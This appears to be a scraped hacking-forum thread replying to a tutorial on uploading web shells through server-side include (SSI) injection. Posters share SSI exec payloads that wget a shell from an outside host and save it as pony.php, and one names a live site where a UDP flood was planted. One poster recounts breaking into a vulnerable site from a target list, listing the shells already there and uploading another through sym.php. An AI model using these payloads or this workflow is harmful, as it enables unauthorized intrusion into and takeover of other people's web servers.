Nice tut. It's a shame that there's not that much vulns overall. Although, there's POST, USER AGENT, and COOKIE parameters, I wonder if the same might apply there~
[TUTORIAL] Upload a shell via SSI injection [Noob Friendly] |
(Jun 21, 2012 10:08 AM)Team4o4 Wrote: Could someone help me? I have the shell on my server... I do the command <!--#exec cmd="wget http://mysitehe.re/config.txt" -->Do <!--#exec cmd="wget http://mysitehe.re/config.txt -O pony.php" --> Instead. then, go to the folder the shell got installed, under pony.php. :3
Somone uploaded a UDP flood, EPIC lol
http://stockphotosamerica.com/old.index.php
Nice tutorial as always, Haxor.
Reminds me a lot of Stewies tutorial. But oh well. Anyway. I found a SSI vulnerable website. I was able to get the current time, and list all files in the folder. But I wasn't able to upload a txt file to there. I used this code: Code [b]<!--[/b]#exec cmd="wget http://***/zhellz/sea.txt" -->Sign-in is required to use the lightbox functions. The user: , does not exist, please try again. I tren tried listing all files on there using this: Code <pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>[b]<!--[/b]#exec cmd="ls -a" --></pre>But sea.txt was no where to be found. Did I do anything wrong? When I use ls -a to list all the files, I do see a lot of shells have been uploaded already. GHOST_SH3LL.php, c100.php, shellie.php, sym.php, wso.php and more. (Jun 22, 2012 06:16 AM)๖ۣۜΗ α x O r ♥ Wrote: Maybe wget function is disabled. Perhaps. I just find it weird that so many others have succeeded to upload a shell then. Oh well. I will try the next vulnerable site on Dans list! :) I found a file called sym.php, and through that I was able to upload a shell. Of course that isn't what I wanted. I wanted to do it through SSI, not through an already existing PHP file. The file I uploaded, gave me this information though: Code Operating System : Linux ***.org 2.6.18-128.7.1.el5 #1 SMP Wed Aug 19 04:00:49 EDT 2009 x86_64 |
|
|
